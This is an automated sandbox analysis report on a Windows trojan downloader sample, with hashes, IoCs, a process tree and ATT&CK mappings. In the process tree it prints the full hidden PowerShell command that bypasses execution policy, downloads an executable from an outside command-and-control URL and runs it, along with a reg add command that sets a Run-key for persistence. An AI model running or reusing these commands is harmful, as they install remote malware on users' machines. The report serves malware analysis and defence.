83acd77bd1b76095992046c1cd53fd0fb4f0ae9f22f410facf174f4e1ce2f475

Resubmissions

24/07/2026, 12:55

260724-p514ta1ape10

08/08/2020, 10:10

200808-hb4qde3g8610

Analysis

max time kernel
146s
max time network
147s
platform
windows10_x64
resource
win10v200722
submitted
08/08/2020, 10:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
SecuriteInfo.com.Trojan.DownLoader34.18436.32216.2975.exe
Size 2KB
Sample200808-hb4qde3g86
SHA256 83acd77bd1b76095992046c1cd53fd0fb4f0ae9f22f410facf174f4e1ce2f475
MD5 2aaa043f1abc3118d8c292920efcbf77
SHA1 cb0b4a024c9d791f9dcb84f5c23a24e1f94b793e
SHA512 079f7feeba43fa935a05ec81c931c600d900199fe83d77b6aa7f7a13ac75d33aa5b8e24a4817a8ee735e3570f126676225b30d1150197d503f73d5b68d62f447
MD5 SHA1 SHA512

Score

10^/10

persistence

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://cnc.cyberwex.com/agent.exe

Signatures

JavaScript code in executable 4 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad66-33.dat	js
behavioral2/files/0x000100000001ad66-34.dat	js
behavioral2/files/0x000100000001ad68-45.dat	js
behavioral2/files/0x000100000001ad68-46.dat	js

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	728	powershell.exe
Token: SeDebugPrivilege	1472	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
728	powershell.exe
728	powershell.exe
728	powershell.exe
1472	powershell.exe
3928	utilman.exe
3928	utilman.exe

Executes dropped EXE 2 IoCs

pid	Process
2144	utilman.exe
3928	utilman.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3884	reg.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Software\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Software\Microsoft\Windows\CurrentVersion\Run\ares = "C:\\Users\\Admin\\ares\\utilman.exe"	reg.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 416 wrote to memory of 640	416	SecuriteInfo.com.Trojan.DownLoader34.18436.32216.2975.exe	67
PID 416 wrote to memory of 640	416	SecuriteInfo.com.Trojan.DownLoader34.18436.32216.2975.exe	67
PID 416 wrote to memory of 640	416	SecuriteInfo.com.Trojan.DownLoader34.18436.32216.2975.exe	67
PID 640 wrote to memory of 728	640	cmd.exe	68
PID 640 wrote to memory of 728	640	cmd.exe	68
PID 640 wrote to memory of 728	640	cmd.exe	68
PID 728 wrote to memory of 1472	728	powershell.exe	69
PID 728 wrote to memory of 1472	728	powershell.exe	69
PID 728 wrote to memory of 1472	728	powershell.exe	69
PID 728 wrote to memory of 2144	728	powershell.exe	70
PID 728 wrote to memory of 2144	728	powershell.exe	70
PID 2144 wrote to memory of 3928	2144	utilman.exe	73
PID 2144 wrote to memory of 3928	2144	utilman.exe	73
PID 3928 wrote to memory of 3736	3928	utilman.exe	74
PID 3928 wrote to memory of 3736	3928	utilman.exe	74
PID 3736 wrote to memory of 3884	3736	cmd.exe	76
PID 3736 wrote to memory of 3884	3736	cmd.exe	76

Blacklisted process makes network request 1 IoCs

flow	pid	Process
2	728	powershell.exe

Loads dropped DLL 17 IoCs

pid	Process
3928	utilman.exe
3928	utilman.exe
3928	utilman.exe
3928	utilman.exe
3928	utilman.exe
3928	utilman.exe
3928	utilman.exe
3928	utilman.exe
3928	utilman.exe
3928	utilman.exe
3928	utilman.exe
3928	utilman.exe
3928	utilman.exe
3928	utilman.exe
3928	utilman.exe
3928	utilman.exe
3928	utilman.exe

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.DownLoader34.18436.32216.2975.exe
"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.DownLoader34.18436.32216.2975.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:416
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell.exe -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile('https://cnc.cyberwex.com/agent.exe',"""$env:APPDATA\\utilman.exe""");Start-Process $env:APPDATA\\utilman.exe -WindowStyle Hidden"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:640
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile('https://cnc.cyberwex.com/agent.exe',"""$env:APPDATA\\utilman.exe""");Start-Process $env:APPDATA\\utilman.exe -WindowStyle Hidden"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    - Blacklisted process makes network request
    PID:728
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -noprofile -windowstyle hidden -command
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious behavior: EnumeratesProcesses
      PID:1472
  - - C:\Users\Admin\AppData\Roaming\utilman.exe
      "C:\Users\Admin\AppData\Roaming\utilman.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:2144
    - - C:\Users\Admin\AppData\Roaming\utilman.exe
        
        "C:\Users\Admin\AppData\Roaming\utilman.exe"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        Loads dropped DLL
        
        PID:3928
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v ares /t REG_SZ /d "C:\Users\Admin\ares\utilman.exe""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3736
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v ares /t REG_SZ /d "C:\Users\Admin\ares\utilman.exe"
        7⤵
        Modifies registry key
        Adds Run key to start application
        
        PID:3884

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/728-7-0x0000000007DE0000-0x0000000007DE1000-memory.dmp

Download

memory/728-5-0x0000000007470000-0x0000000007471000-memory.dmp

Download

memory/728-13-0x0000000009590000-0x0000000009591000-memory.dmp

Download

memory/728-12-0x0000000009C10000-0x0000000009C11000-memory.dmp

Download

memory/728-11-0x0000000008620000-0x0000000008621000-memory.dmp

Download

memory/728-10-0x0000000008760000-0x0000000008761000-memory.dmp

Download

memory/728-9-0x0000000007D40000-0x0000000007D41000-memory.dmp

Download

memory/728-23-0x0000000009910000-0x0000000009911000-memory.dmp

Download

memory/728-8-0x0000000007F50000-0x0000000007F51000-memory.dmp

Download

memory/728-2-0x0000000073A40000-0x000000007412E000-memory.dmp

Download

memory/728-6-0x0000000007610000-0x0000000007611000-memory.dmp

Download

memory/728-24-0x00000000071B0000-0x00000000071B1000-memory.dmp

Download

memory/728-3-0x0000000004E70000-0x0000000004E71000-memory.dmp

Download

memory/728-25-0x000000000A790000-0x000000000A791000-memory.dmp

Download

memory/728-4-0x00000000076D0000-0x00000000076D1000-memory.dmp

Download

memory/1472-15-0x0000000073A40000-0x000000007412E000-memory.dmp

Download

memory/3928-68-0x000001E7D8540000-0x000001E7D8541000-memory.dmp

Download

memory/3928-69-0x000001E7D8D40000-0x000001E7D8D41000-memory.dmp

Download

memory/3928-70-0x000001E7D8540000-0x000001E7D8541000-memory.dmp

Download

memory/3928-91-0x000001E7D8540000-0x000001E7D8541000-memory.dmp

Download